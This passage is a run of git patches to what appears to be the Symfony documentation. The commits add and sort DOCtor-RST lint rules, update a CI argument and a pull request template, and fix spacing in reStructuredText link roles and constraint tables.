 .. _`RFC 4122`: https://tools.ietf.org/html/rfc4122
 .. _`UUID versions`: https://en.wikipedia.org/wiki/Universally_unique_identifier#Versions

From b3acaaf5be698bd3ca0d010d8b3deeef9705eb36 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 5 Oct 2020 14:27:05 +0200
Subject: [PATCH 1252/7107] Enhancement: Add Github error formatter for
 DOCtor-RST

---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 402e0dc572b..26f0e537118 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -68,4 +68,4 @@ jobs:
             -   name: "Run DOCtor-RST"
                 uses: docker://oskarstark/doctor-rst
                 with:
-                    args: --short --cache-file=/github/workspace/.cache/doctor-rst.cache
+                    args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache

From 16470d891070871a6e37a6a606553f8196b71d20 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Tue, 6 Oct 2020 10:33:56 +0200
Subject: [PATCH 1253/7107] Replace master by 5.x

---
 .github/PULL_REQUEST_TEMPLATE.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md
index bc7d6a94182..0586345396f 100644
--- a/.github/PULL_REQUEST_TEMPLATE.md
+++ b/.github/PULL_REQUEST_TEMPLATE.md
@@ -4,6 +4,6 @@ If your pull request fixes a BUG, use the oldest maintained branch that contains
 the bug (see https://symfony.com/roadmap for the list of maintained branches).
 
 If your pull request documents a NEW FEATURE, use the same Symfony branch where
-the feature was introduced (and `master` for features of unreleased versions).
+the feature was introduced (and `5.x` for features of unreleased versions).
 
 -->

From 23a102fa8bd3e4a314a96bd208b9af7d0803e862 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 6 Oct 2020 11:28:17 +0200
Subject: [PATCH 1254/7107] Sort rules alphabetically

---
 .doctor-rst.yaml | 52 ++++++++++++++++++++++++------------------------
 1 file changed, 26 insertions(+), 26 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 18a34b866ae..4eed90c6226 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -1,41 +1,41 @@
 rules:
-    no_inheritdoc: ~
+    american_english: ~
     avoid_repetetive_words: ~
     blank_line_after_directive: ~
-    short_array_syntax: ~
-    no_app_console: ~
-    typo: ~
-    replacement: ~
+    blank_line_before_directive: ~
     composer_dev_option_not_at_the_end: ~
-    yarn_dev_option_at_the_end: ~
-    versionadded_directive_should_have_version: ~
+    correct_code_block_directive_based_on_the_content: ~
     deprecated_directive_should_have_version: ~
-    no_composer_req: ~
-    no_php_open_tag_in_code_block_php_directive: ~
-    no_blank_line_after_filepath_in_php_code_block: ~
-    no_blank_line_after_filepath_in_yaml_code_block: ~
-    no_blank_line_after_filepath_in_xml_code_block: ~
-    no_blank_line_after_filepath_in_twig_code_block: ~
-    php_prefix_before_bin_console: ~
-    use_deprecated_directive_instead_of_versionadded: ~
-    no_space_before_self_xml_closing_tag: ~
-    no_explicit_use_of_code_block_php: ~
     ensure_order_of_code_blocks_in_configuration_block: ~
-    american_english: ~
-    valid_use_statements: ~
+    extension_xlf_instead_of_xliff: ~
+    indention: ~
     lowercase_as_in_use_statements: ~
-    ordered_use_statements: ~
-    no_namespace_after_use_statements: ~
-    correct_code_block_directive_based_on_the_content: ~
     max_blank_lines:
         max: 2
+    no_app_console: ~
+    no_blank_line_after_filepath_in_php_code_block: ~
+    no_blank_line_after_filepath_in_twig_code_block: ~
+    no_blank_line_after_filepath_in_xml_code_block: ~
+    no_blank_line_after_filepath_in_yaml_code_block: ~
+    no_composer_req: ~
+    no_explicit_use_of_code_block_php: ~
+    no_inheritdoc: ~
+    no_namespace_after_use_statements: ~
+    no_php_open_tag_in_code_block_php_directive: ~
+    no_space_before_self_xml_closing_tag: ~
+    ordered_use_statements: ~
+    php_prefix_before_bin_console: ~
     replace_code_block_types: ~
+    replacement: ~
+    short_array_syntax: ~
+    typo: ~
+    unused_links: ~
+    use_deprecated_directive_instead_of_versionadded: ~
     use_https_xsd_urls: ~
-    blank_line_before_directive: ~
-    extension_xlf_instead_of_xliff: ~
     valid_inline_highlighted_namespaces: ~
-    indention: ~
-    unused_links: ~
+    valid_use_statements: ~
+    versionadded_directive_should_have_version: ~
+    yarn_dev_option_at_the_end: ~
 
     #   3.4
     versionadded_directive_major_version:

From eefb4baf0c9323fec32872f8d5f0c9332ccadded Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 6 Oct 2020 11:33:38 +0200
Subject: [PATCH 1255/7107] Enhancement: New rule -
 no_brackets_in_method_directive

---
 .doctor-rst.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 4eed90c6226..263a7100689 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -17,6 +17,7 @@ rules:
     no_blank_line_after_filepath_in_twig_code_block: ~
     no_blank_line_after_filepath_in_xml_code_block: ~
     no_blank_line_after_filepath_in_yaml_code_block: ~
+    no_brackets_in_method_directive: ~
     no_composer_req: ~
     no_explicit_use_of_code_block_php: ~
     no_inheritdoc: ~

From 49441cfb5e603960028d44e0de4d9cd25897b58a Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 6 Oct 2020 12:42:50 +0200
Subject: [PATCH 1256/7107] Minor: Whitespace

---
 reference/constraints/Collection.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Collection.rst b/reference/constraints/Collection.rst
index 80c87801356..b8283650d3a 100644
--- a/reference/constraints/Collection.rst
+++ b/reference/constraints/Collection.rst
@@ -94,7 +94,7 @@ following:
                 profileData:
                     - Collection:
                         fields:
-                            personal_email: 
+                            personal_email:
                                 - Email: ~
                             short_bio:
                                 - NotBlank: ~

From d18bb81631db154321bdc0def00d67da31309b1c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 6 Oct 2020 12:25:35 +0200
Subject: [PATCH 1257/7107] Enhancement: New rule -
 SpaceBetweenLabelAndLinkInRef

---
 .doctor-rst.yaml                                  | 1 +
 components/process.rst                            | 2 +-
 logging/channels_handlers.rst                     | 2 +-
 reference/constraints/Currency.rst                | 2 +-
 reference/constraints/EqualTo.rst                 | 2 +-
 reference/constraints/GreaterThan.rst             | 2 +-
 reference/constraints/GreaterThanOrEqual.rst      | 2 +-
 reference/constraints/Iban.rst                    | 2 +-
 reference/constraints/IdenticalTo.rst             | 2 +-
 reference/constraints/Isbn.rst                    | 2 +-
 reference/constraints/Issn.rst                    | 2 +-
 reference/constraints/LessThan.rst                | 2 +-
 reference/constraints/LessThanOrEqual.rst         | 2 +-
 reference/constraints/NotEqualTo.rst              | 2 +-
 reference/constraints/NotIdenticalTo.rst          | 2 +-
 reference/forms/types/options/constraints.rst.inc | 2 +-
 security/guard_authentication.rst                 | 2 +-
 17 files changed, 17 insertions(+), 16 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 263a7100689..1c760251f18 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -29,6 +29,7 @@ rules:
     replace_code_block_types: ~
     replacement: ~
     short_array_syntax: ~
+    space_between_label_and_link_in_ref: ~
     typo: ~
     unused_links: ~
     use_deprecated_directive_instead_of_versionadded: ~
diff --git a/components/process.rst b/components/process.rst
index ea626f31a38..0c3098400d4 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -301,7 +301,7 @@ Any asynchronous process can be stopped at any time with the
 :method:`Symfony\\Component\\Process\\Process::stop` method. This method takes
 two arguments: a timeout and a signal. Once the timeout is reached, the signal
 is sent to the running process. The default signal sent to a process is ``SIGKILL``.
-Please read the :ref:`signal documentation below<reference-process-signal>`
+Please read the :ref:`signal documentation below <reference-process-signal>`
 to find out more about signal handling in the Process component::
 
     $process = new Process(['ls', '-lsa']);
diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index 92d35c073c3..a4361890bf3 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -122,7 +122,7 @@ Creating your own Channel
 
 You can change the channel Monolog logs to one service at a time. This is done
 either via the :ref:`configuration <monolog-channels-config>` below
-or by tagging your service with :ref:`monolog.logger<dic_tags-monolog>` and
+or by tagging your service with :ref:`monolog.logger <dic_tags-monolog>` and
 specifying which channel the service should log to. With the tag, the logger
 that is injected into that service is preconfigured to use the channel you've
 specified.
diff --git a/reference/constraints/Currency.rst b/reference/constraints/Currency.rst
index 397f8d76e54..24bf5dfa193 100644
--- a/reference/constraints/Currency.rst
+++ b/reference/constraints/Currency.rst
@@ -4,7 +4,7 @@ Currency
 Validates that a value is a valid `3-letter ISO 4217`_ currency name.
 
 +----------------+---------------------------------------------------------------------------+
-| Applies to     | :ref:`property or method<validation-property-target>`                     |
+| Applies to     | :ref:`property or method <validation-property-target>`                    |
 +----------------+---------------------------------------------------------------------------+
 | Options        | - `groups`_                                                               |
 |                | - `message`_                                                              |
diff --git a/reference/constraints/EqualTo.rst b/reference/constraints/EqualTo.rst
index d68e074647b..dac6ce6663b 100644
--- a/reference/constraints/EqualTo.rst
+++ b/reference/constraints/EqualTo.rst
@@ -11,7 +11,7 @@ To force that a value is *not* equal, see :doc:`/reference/constraints/NotEqualT
     ``===``.
 
 +----------------+-----------------------------------------------------------------------+
-| Applies to     | :ref:`property or method<validation-property-target>`                 |
+| Applies to     | :ref:`property or method <validation-property-target>`                |
 +----------------+-----------------------------------------------------------------------+
 | Options        | - `value`_                                                            |
 |                | - `groups`_                                                           |
diff --git a/reference/constraints/GreaterThan.rst b/reference/constraints/GreaterThan.rst
index faee4be69d5..99b0563034c 100644
--- a/reference/constraints/GreaterThan.rst
+++ b/reference/constraints/GreaterThan.rst
@@ -7,7 +7,7 @@ force that a value is greater than or equal to another value, see
 than another value, see :doc:`/reference/constraints/LessThan`.
 
 +----------------+---------------------------------------------------------------------------+
-| Applies to     | :ref:`property or method<validation-property-target>`                     |
+| Applies to     | :ref:`property or method <validation-property-target>`                    |
 +----------------+---------------------------------------------------------------------------+
 | Options        | - `value`_                                                                |
 |                | - `groups`_                                                               |
diff --git a/reference/constraints/GreaterThanOrEqual.rst b/reference/constraints/GreaterThanOrEqual.rst
index 2b595c40089..c40de4a0206 100644
--- a/reference/constraints/GreaterThanOrEqual.rst
+++ b/reference/constraints/GreaterThanOrEqual.rst
@@ -6,7 +6,7 @@ the options. To force that a value is greater than another value, see
 :doc:`/reference/constraints/GreaterThan`.
 
 +----------------+----------------------------------------------------------------------------------+
-| Applies to     | :ref:`property or method<validation-property-target>`                            |
+| Applies to     | :ref:`property or method <validation-property-target>`                           |
 +----------------+----------------------------------------------------------------------------------+
 | Options        | - `value`_                                                                       |
 |                | - `groups`_                                                                      |
diff --git a/reference/constraints/Iban.rst b/reference/constraints/Iban.rst
index d7df4d9ea9a..d790352b07c 100644
--- a/reference/constraints/Iban.rst
+++ b/reference/constraints/Iban.rst
@@ -7,7 +7,7 @@ internationally agreed means of identifying bank accounts across national
 borders with a reduced risk of propagating transcription errors.
 
 +----------------+-----------------------------------------------------------------------+
-| Applies to     | :ref:`property or method<validation-property-target>`                 |
+| Applies to     | :ref:`property or method <validation-property-target>`                |
 +----------------+-----------------------------------------------------------------------+
 | Options        | - `groups`_                                                           |
 |                | - `message`_                                                          |
diff --git a/reference/constraints/IdenticalTo.rst b/reference/constraints/IdenticalTo.rst
index 200b4cb0632..a3be823a273 100644
--- a/reference/constraints/IdenticalTo.rst
+++ b/reference/constraints/IdenticalTo.rst
@@ -12,7 +12,7 @@ To force that a value is *not* identical, see
     with ``==``.
 
 +----------------+--------------------------------------------------------------------------+
-| Applies to     | :ref:`property or method<validation-property-target>`                    |
+| Applies to     | :ref:`property or method <validation-property-target>`                   |
 +----------------+--------------------------------------------------------------------------+
 | Options        | - `value`_                                                               |
 |                | - `groups`_                                                              |
diff --git a/reference/constraints/Isbn.rst b/reference/constraints/Isbn.rst
index 7cb6bde4eef..21538494382 100644
--- a/reference/constraints/Isbn.rst
+++ b/reference/constraints/Isbn.rst
@@ -5,7 +5,7 @@ This constraint validates that an `International Standard Book Number (ISBN)`_
 is either a valid ISBN-10 or a valid ISBN-13.
 
 +----------------+----------------------------------------------------------------------+
-| Applies to     | :ref:`property or method<validation-property-target>`                |
+| Applies to     | :ref:`property or method <validation-property-target>`               |
 +----------------+----------------------------------------------------------------------+
 | Options        | - `type`_                                                            |
 |                | - `groups`_                                                          |
diff --git a/reference/constraints/Issn.rst b/reference/constraints/Issn.rst
index a27142e9c71..b217cb52f82 100644
--- a/reference/constraints/Issn.rst
+++ b/reference/constraints/Issn.rst
@@ -5,7 +5,7 @@ Validates that a value is a valid
 `International Standard Serial Number (ISSN)`_.
 
 +----------------+-----------------------------------------------------------------------+
-| Applies to     | :ref:`property or method<validation-property-target>`                 |
+| Applies to     | :ref:`property or method <validation-property-target>`                |
 +----------------+-----------------------------------------------------------------------+
 | Options        | - `groups`_                                                           |
 |                | - `message`_                                                          |
diff --git a/reference/constraints/LessThan.rst b/reference/constraints/LessThan.rst
index eec7a7054d5..3c8516ccae1 100644
--- a/reference/constraints/LessThan.rst
+++ b/reference/constraints/LessThan.rst
@@ -7,7 +7,7 @@ force that a value is less than or equal to another value, see
 than another value, see :doc:`/reference/constraints/GreaterThan`.
 
 +----------------+------------------------------------------------------------------------+
-| Applies to     | :ref:`property or method<validation-property-target>`                  |
+| Applies to     | :ref:`property or method <validation-property-target>`                 |
 +----------------+------------------------------------------------------------------------+
 | Options        | - `value`_                                                             |
 |                | - `groups`_                                                            |
diff --git a/reference/constraints/LessThanOrEqual.rst b/reference/constraints/LessThanOrEqual.rst
index ccaadb824d2..968c63bc91e 100644
--- a/reference/constraints/LessThanOrEqual.rst
+++ b/reference/constraints/LessThanOrEqual.rst
@@ -6,7 +6,7 @@ options. To force that a value is less than another value, see
 :doc:`/reference/constraints/LessThan`.
 
 +----------------+-------------------------------------------------------------------------------+
-| Applies to     | :ref:`property or method<validation-property-target>`                         |
+| Applies to     | :ref:`property or method <validation-property-target>`                        |
 +----------------+-------------------------------------------------------------------------------+
 | Options        | - `value`_                                                                    |
 |                | - `groups`_                                                                   |
diff --git a/reference/constraints/NotEqualTo.rst b/reference/constraints/NotEqualTo.rst
index 619dfb02e8e..69bf91bf45d 100644
--- a/reference/constraints/NotEqualTo.rst
+++ b/reference/constraints/NotEqualTo.rst
@@ -12,7 +12,7 @@ options. To force that a value is equal, see
     ``!==``.
 
 +----------------+-------------------------------------------------------------------------+
-| Applies to     | :ref:`property or method<validation-property-target>`                   |
+| Applies to     | :ref:`property or method <validation-property-target>`                  |
 +----------------+-------------------------------------------------------------------------+
 | Options        | - `value`_                                                              |
 |                | - `groups`_                                                             |
diff --git a/reference/constraints/NotIdenticalTo.rst b/reference/constraints/NotIdenticalTo.rst
index c1db74a349f..c313e350d1c 100644
--- a/reference/constraints/NotIdenticalTo.rst
+++ b/reference/constraints/NotIdenticalTo.rst
@@ -12,7 +12,7 @@ the options. To force that a value is identical, see
     compare with ``!=``.
 
 +----------------+-----------------------------------------------------------------------------+
-| Applies to     | :ref:`property or method<validation-property-target>`                       |
+| Applies to     | :ref:`property or method <validation-property-target>`                      |
 +----------------+-----------------------------------------------------------------------------+
 | Options        | - `value`_                                                                  |
 |                | - `groups`_                                                                 |
diff --git a/reference/forms/types/options/constraints.rst.inc b/reference/forms/types/options/constraints.rst.inc
index b06343ca990..7aab319f302 100644
--- a/reference/forms/types/options/constraints.rst.inc
+++ b/reference/forms/types/options/constraints.rst.inc
@@ -4,6 +4,6 @@
 **type**: ``array`` or :class:`Symfony\\Component\\Validator\\Constraint` **default**: ``null``
 
 Allows you to attach one or more validation constraints to a specific field.
-For more information, see :ref:`Adding Validation<form-option-constraints>`.
+For more information, see :ref:`Adding Validation <form-option-constraints>`.
 This option is added in the :class:`Symfony\\Component\\Form\\Extension\\Validator\\Type\\FormTypeValidatorExtension`
 form extension.
diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index 371782cfaa4..745fd85a883 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -255,7 +255,7 @@ This requires you to implement several methods::
     ``AuthenticatorInterface`` was introduced in Symfony 3.4. In previous Symfony
     versions, authenticators needed to implement ``GuardAuthenticatorInterface``.
 
-Nice work! Each method is explained below: :ref:`The Guard Authenticator Methods<guard-auth-methods>`.
+Nice work! Each method is explained below: :ref:`The Guard Authenticator Methods <guard-auth-methods>`.
 
 Step 2) Configure the Authenticator
 -----------------------------------

From d9e6a5ee31f3524b79fb42a267dbccce6aa8ae4d Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 6 Oct 2020 12:40:38 +0200
Subject: [PATCH 1258/7107] Enhancement: Use table like in other constraints.

---
 reference/constraints/UserPassword.rst | 19 +++++++++++--------
 1 file changed, 11 insertions(+), 8 deletions(-)

diff --git a/reference/constraints/UserPassword.rst b/reference/constraints/UserPassword.rst
index abb98a11e58..2d31eb34501 100644
--- a/reference/constraints/UserPassword.rst
+++ b/reference/constraints/UserPassword.rst
@@ -15,14 +15,17 @@ password, but needs to enter their old password for security.
     In order to use this constraints, you should have installed the
     symfony/security-core component with Composer.
 
-==========  ===================================================================
-Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-Class       :class:`Symfony\\Component\\Security\\Core\\Validator\\Constraints\\UserPassword`
-Validator   :class:`Symfony\\Component\\Security\\Core\\Validator\\Constraints\\UserPasswordValidator`
-==========  ===================================================================
++----------------+--------------------------------------------------------------------------------------------+
+| Applies to     | :ref:`property or method <validation-property-target>`                                     |
++----------------+--------------------------------------------------------------------------------------------+
+| Options        | - `groups`_                                                                                |
+|                | - `message`_                                                                               |
+|                | - `payload`_                                                                               |
++----------------+--------------------------------------------------------------------------------------------+
+| Class          | :class:`Symfony\\Component\\Security\\Core\\Validator\\Constraints\\UserPassword`          |
++----------------+--------------------------------------------------------------------------------------------+
+| Validator      | :class:`Symfony\\Component\\Security\\Core\\Validator\\Constraints\\UserPasswordValidator` |
++----------------+--------------------------------------------------------------------------------------------+
 
 Basic Usage
 -----------

From d238c22268e5281c99ef4ff9bec090a86626f904 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 6 Oct 2020 13:17:35 +0200
Subject: [PATCH 1259/7107] Enhancement: New rule -
 SpaceBetweenLabelAndLinkInDoc

---
 .doctor-rst.yaml                                        | 1 +
 best_practices/security.rst                             | 2 +-
 contributing/code_of_conduct/code_of_conduct.rst        | 2 +-
 contributing/map.rst.inc                                | 6 +++---
 deployment/proxies.rst                                  | 2 +-
 frontend/encore/simple-example.rst                      | 4 ++--
 reference/constraints/map.rst.inc                       | 2 +-
 reference/forms/types/options/validation_groups.rst.inc | 2 +-
 reference/forms/types/submit.rst                        | 2 +-
 9 files changed, 12 insertions(+), 11 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 1c760251f18..6711c75c8f2 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -29,6 +29,7 @@ rules:
     replace_code_block_types: ~
     replacement: ~
     short_array_syntax: ~
+    space_between_label_and_link_in_doc: ~
     space_between_label_and_link_in_ref: ~
     typo: ~
     unused_links: ~
diff --git a/best_practices/security.rst b/best_practices/security.rst
index 19ba9f7e330..63d95e27458 100644
--- a/best_practices/security.rst
+++ b/best_practices/security.rst
@@ -6,7 +6,7 @@ Authentication and Firewalls (i.e. Getting the User's Credentials)
 
 You can configure Symfony to authenticate your users using any method you
 want and to load user information from any source. This is a complex topic, but
-the :doc:`Security guide</security>` has a lot of information about
+the :doc:`Security guide </security>` has a lot of information about
 this.
 
 Regardless of your needs, authentication is configured in ``security.yml``,
diff --git a/contributing/code_of_conduct/code_of_conduct.rst b/contributing/code_of_conduct/code_of_conduct.rst
index 7ecd91e8dbd..857d5437538 100644
--- a/contributing/code_of_conduct/code_of_conduct.rst
+++ b/contributing/code_of_conduct/code_of_conduct.rst
@@ -37,7 +37,7 @@ Examples of unacceptable behavior by participants include:
 Our Responsibilities
 --------------------
 
-:doc:`CoC Active Response Ensurers, or CARE</contributing/code_of_conduct/care_team>`,
+:doc:`CoC Active Response Ensurers, or CARE </contributing/code_of_conduct/care_team>`,
 are responsible for clarifying the standards of acceptable
 behavior and are expected to take appropriate and fair corrective action in
 response to any instances of unacceptable behavior.
diff --git a/contributing/map.rst.inc b/contributing/map.rst.inc
index b9c9311a6cb..b495a0d76d0 100644
--- a/contributing/map.rst.inc
+++ b/contributing/map.rst.inc
@@ -15,9 +15,9 @@
   * :doc:`Security </contributing/code/security>`
   * :doc:`Tests </contributing/code/tests>`
   * :doc:`Backward Compatibility </contributing/code/bc>`
-  * :doc:`Coding Standards</contributing/code/standards>`
-  * :doc:`Code Conventions</contributing/code/conventions>`
-  * :doc:`Git</contributing/code/git>`
+  * :doc:`Coding Standards </contributing/code/standards>`
+  * :doc:`Code Conventions </contributing/code/conventions>`
+  * :doc:`Git </contributing/code/git>`
   * :doc:`License </contributing/code/license>`
 
 * **Documentation**
diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 6791605225c..7a130f4783c 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -3,7 +3,7 @@ How to Configure Symfony to Work behind a Load Balancer or a Reverse Proxy
 
 When you deploy your application, you may be behind a load balancer (e.g.
 an AWS Elastic Load Balancing) or a reverse proxy (e.g. Varnish for
-:doc:`caching</http_cache>`).
+:doc:`caching </http_cache>`).
 
 For the most part, this doesn't cause any problems with Symfony. But, when
 a request passes through a proxy, certain request information is sent using
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index aaf543a11fb..7a9800dd3b3 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -121,8 +121,8 @@ be executed. All the CSS files that were required will also be displayed.
 The ``encore_entry_link_tags()`` and ``encore_entry_script_tags()`` functions
 read from an ``entrypoints.json`` file that's generated by Encore to know the exact
 filename(s) to render. This file is *especially* useful because you can
-:doc:`enable versioning</frontend/encore/versioning>` or
-:doc:`point assets to a CDN</frontend/encore/cdn>` without making *any* changes to your
+:doc:`enable versioning </frontend/encore/versioning>` or
+:doc:`point assets to a CDN </frontend/encore/cdn>` without making *any* changes to your
 template: the paths in ``entrypoints.json`` will always be the final, correct paths.
 
 If you're *not* using Symfony, you can ignore the ``entrypoints.json`` file and
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index e0eae320682..6afc32008ea 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -20,7 +20,7 @@ String Constraints
 * :doc:`Url </reference/constraints/Url>`
 * :doc:`Regex </reference/constraints/Regex>`
 * :doc:`Ip </reference/constraints/Ip>`
-* :doc:`Uuid</reference/constraints/Uuid>`
+* :doc:`Uuid </reference/constraints/Uuid>`
 * :doc:`UserPassword </reference/constraints/UserPassword>`
 
 Comparison Constraints
diff --git a/reference/forms/types/options/validation_groups.rst.inc b/reference/forms/types/options/validation_groups.rst.inc
index dd9efcd8967..90f79bede75 100644
--- a/reference/forms/types/options/validation_groups.rst.inc
+++ b/reference/forms/types/options/validation_groups.rst.inc
@@ -49,7 +49,7 @@ the option. Symfony will then pass the form when calling it::
 .. note::
 
     When your form contains multiple submit buttons, you can change the
-    validation group depending on :doc:`which button is used</form/button_based_validation>`
+    validation group depending on :doc:`which button is used </form/button_based_validation>`
     to submit the form.
 
     If you need advanced logic to determine the validation groups have
diff --git a/reference/forms/types/submit.rst b/reference/forms/types/submit.rst
index cd4cbe55cc7..adefa204fed 100644
--- a/reference/forms/types/submit.rst
+++ b/reference/forms/types/submit.rst
@@ -16,7 +16,7 @@ A submit button.
 |                      | - `translation_domain`_                                              |
 |                      | - `validation_groups`_                                               |
 +----------------------+----------------------------------------------------------------------+
-| Parent type          | :doc:`ButtonType</reference/forms/types/button>`                     |
+| Parent type          | :doc:`ButtonType </reference/forms/types/button>`                    |
 +----------------------+----------------------------------------------------------------------+
 | Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\SubmitType` |
 +----------------------+----------------------------------------------------------------------+

From 72a2b1c93a0125f0b25a5f70239ba562f7787377 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 6 Oct 2020 13:36:01 +0200
Subject: [PATCH 1260/7107] Minor: Fix build

---
 cache.rst                         | 2 +-
 configuration/secrets.rst         | 2 +-
 contributing/code/stack_trace.rst | 2 +-
 mailer.rst                        | 2 +-
 profiler.rst                      | 2 +-
 reference/constraints/map.rst.inc | 2 +-
 security/ldap.rst                 | 2 +-
 7 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/cache.rst b/cache.rst
index a06cd0bd4c3..4fc6a4faa87 100644
--- a/cache.rst
+++ b/cache.rst
@@ -305,7 +305,7 @@ You can also create more customized pools:
 Each pool manages a set of independent cache keys: keys from different pools
 *never* collide, even if they share the same backend. This is achieved by prefixing
 keys with a namespace that's generated by hashing the name of the pool, the name
-of the compiled container class and a :ref:`configurable seed<reference-cache-prefix-seed>`
+of the compiled container class and a :ref:`configurable seed <reference-cache-prefix-seed>`
 that defaults to the project directory.
 
 Each custom pool becomes a service whose service ID is the name of the pool
diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index fb3b6da1578..bb89c67258f 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -102,7 +102,7 @@ Referencing Secrets in Configuration Files
 ------------------------------------------
 
 Secret values can be referenced in the same way as
-:ref:`environment variables<config-env-vars>`. Be careful that you don't
+:ref:`environment variables <config-env-vars>`. Be careful that you don't
 accidentally define a secret *and* an environment variable with the same name:
 **environment variables override secrets**.
 
diff --git a/contributing/code/stack_trace.rst b/contributing/code/stack_trace.rst
index 11163b2dcd4..b0ad81c77cd 100644
--- a/contributing/code/stack_trace.rst
+++ b/contributing/code/stack_trace.rst
@@ -137,7 +137,7 @@ going on:
 
 
 If that is not the case, you can obtain a stack trace by increasing the
-:doc:`verbosity level</console/verbosity>` with ``--verbose``:
+:doc:`verbosity level </console/verbosity>` with ``--verbose``:
 
 .. code-block:: terminal
 
diff --git a/mailer.rst b/mailer.rst
index cbf5027875c..025a5c43813 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -4,7 +4,7 @@ Sending Emails with Mailer
 .. versionadded:: 4.3
 
     The Mailer component was introduced in Symfony 4.3. The previous solution,
-    called Swift Mailer, is still valid: :doc:`Swift Mailer</email>`.
+    called Swift Mailer, is still valid: :doc:`Swift Mailer </email>`.
 
 Installation
 ------------
diff --git a/profiler.rst b/profiler.rst
index cb8ae679d99..c244f6413e5 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -201,7 +201,7 @@ the AJAX request to force the refresh of the toolbar::
 
 Ideally this header should only be set during development and not for
 production. To do that, create an :doc:`event subscriber </event_dispatcher>`
-and listen to the :ref:`kernel.response<component-http-kernel-kernel-response>`
+and listen to the :ref:`kernel.response <component-http-kernel-kernel-response>`
 event::
 
     use Symfony\Component\HttpKernel\Event\ResponseEvent;
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 4c2a29b9869..438338af8c4 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -20,7 +20,7 @@ String Constraints
 * :doc:`Url </reference/constraints/Url>`
 * :doc:`Regex </reference/constraints/Regex>`
 * :doc:`Ip </reference/constraints/Ip>`
-* :doc:`Json</reference/constraints/Json>`
+* :doc:`Json </reference/constraints/Json>`
 * :doc:`Uuid </reference/constraints/Uuid>`
 * :doc:`UserPassword </reference/constraints/UserPassword>`
 * :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>`
diff --git a/security/ldap.rst b/security/ldap.rst
index 5bff1ae9925..3b5b549e7ec 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -8,7 +8,7 @@ Symfony provides different means to work with an LDAP server.
 
 The Security component offers:
 
-* The ``ldap`` :doc:`user provider</security/user_provider>`, using the
+* The ``ldap`` :doc:`user provider </security/user_provider>`, using the
   :class:`Symfony\\Component\\Ldap\\Security\\LdapUserProvider`
   class. Like all other user providers, it can be used with any
   authentication provider.

From 4ff6a1a97b130a40f98ffc91740ec9e9c09d3547 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 6 Oct 2020 13:40:45 +0200
Subject: [PATCH 1261/7107] Minor: Fix build

---
 reference/constraints/Sequentially.rst | 2 +-
 validation/custom_constraint.rst       | 2 +-
 validation/sequence_provider.rst       | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/Sequentially.rst b/reference/constraints/Sequentially.rst
index a8e7c6be298..39424a6c523 100644
--- a/reference/constraints/Sequentially.rst
+++ b/reference/constraints/Sequentially.rst
@@ -5,7 +5,7 @@ This constraint allows you to apply a set of rules that should be validated
 step-by-step, allowing to interrupt the validation once the first violation is raised.
 
 As an alternative in situations ``Sequentially`` cannot solve, you may consider
-using :doc:`GroupSequence</validation/sequence_provider>` which allows more control.
